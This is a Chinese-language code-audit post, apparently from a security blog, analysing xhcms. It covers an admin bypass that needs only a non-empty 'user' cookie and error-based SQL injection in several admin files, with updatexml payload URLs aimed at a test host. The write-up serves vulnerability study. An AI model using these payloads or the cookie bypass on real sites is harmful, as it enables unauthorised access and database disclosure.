[代码审计] xhcms SQL注入漏洞&越权[后台]分析

  • A+
所属分类:代码审计

[代码审计] xhcms SQL注入漏洞&越权[后台]分析


一、漏洞简介:

程序直接将POST接收到的参数拼接到SQL语句中执行,没有进行任何的过滤,并且后台验证登陆的代码可以进行绕过,导致后台文件都可以被越权访问。



二、漏洞分析过程:

1、/inc/checklogin.php:越权绕过

[代码审计] xhcms SQL注入漏洞&越权[后台]分析

可以看到这里代码有问题,直接将$_COOKIE中的user值赋值给$user,判断为空就跳转登陆页面,所以绕过很简单,手动设置一个cookie值,给user随便赋值就行了


漏洞利用:

设置一个cookie值,只要user不为空即可:

[代码审计] xhcms SQL注入漏洞&越权[后台]分析


然后就可以越权直接访问后台需要登陆的页面了:

[代码审计] xhcms SQL注入漏洞&越权[后台]分析



2、/admin/files/columnlist.php:

这里通过GET接收delete参数赋值给$delete,没有进行任何过滤,并且输出报错信息,可以进行报错注入

[代码审计] xhcms SQL注入漏洞&越权[后台]分析


漏洞利用:

http://www.xhcms.test/admin/index.php?r=columnlist&delete=asd' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

成功爆出用户:

[代码审计] xhcms SQL注入漏洞&越权[后台]分析

接下来16行也是一样的:

[代码审计] xhcms SQL注入漏洞&越权[后台]分析



3、/admin/files/comentlist.php:

也是和前面一样的问题:

[代码审计] xhcms SQL注入漏洞&越权[后台]分析


漏洞利用:

http://www.xhcms.test/admin/index.php?r=commentlist&delete=asd' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

成功爆出用户:

[代码审计] xhcms SQL注入漏洞&越权[后台]分析



4、/admin/files/reply.php:

也是没有进行任何过滤,导致注入

[代码审计] xhcms SQL注入漏洞&越权[后台]分析



用户名处:输入报错注入payload:

http://www.xhcms.test/admin/index.php?r=reply&id=asdasd' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

[代码审计] xhcms SQL注入漏洞&越权[后台]分析


5、/admin/files/linklist.php:

[代码审计] xhcms SQL注入漏洞&越权[后台]分析



6、/admin/files/editcolumn.php:

这里通过GET传过来的id参数没有进行任何的过滤直接拼接到SQL语句中执行,导致SQL注入漏洞:

[代码审计] xhcms SQL注入漏洞&越权[后台]分析



The Same:

[代码审计] xhcms SQL注入漏洞&越权[后台]分析


[代码审计] xhcms SQL注入漏洞&越权[后台]分析



7、/admin/files/editlink.php:

[代码审计] xhcms SQL注入漏洞&越权[后台]分析


[代码审计] xhcms SQL注入漏洞&越权[后台]分析



8、/admin/files/editsoft.php:

[代码审计] xhcms SQL注入漏洞&越权[后台]分析


[代码审计] xhcms SQL注入漏洞&越权[后台]分析



9、/admin/files/editwz.php:

[代码审计] xhcms SQL注入漏洞&越权[后台]分析


[代码审计] xhcms SQL注入漏洞&越权[后台]分析


还有很多文件都存在SQL注入漏洞,都是因为程序对传参过滤不严,并且清一色地输出报错信息,导致出现了大量的SQL注入漏洞



点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

[代码审计] xhcms SQL注入漏洞&越权[后台]分析




本文始发于微信公众号(哈拉少安全小队):[代码审计] xhcms SQL注入漏洞&越权[后台]分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: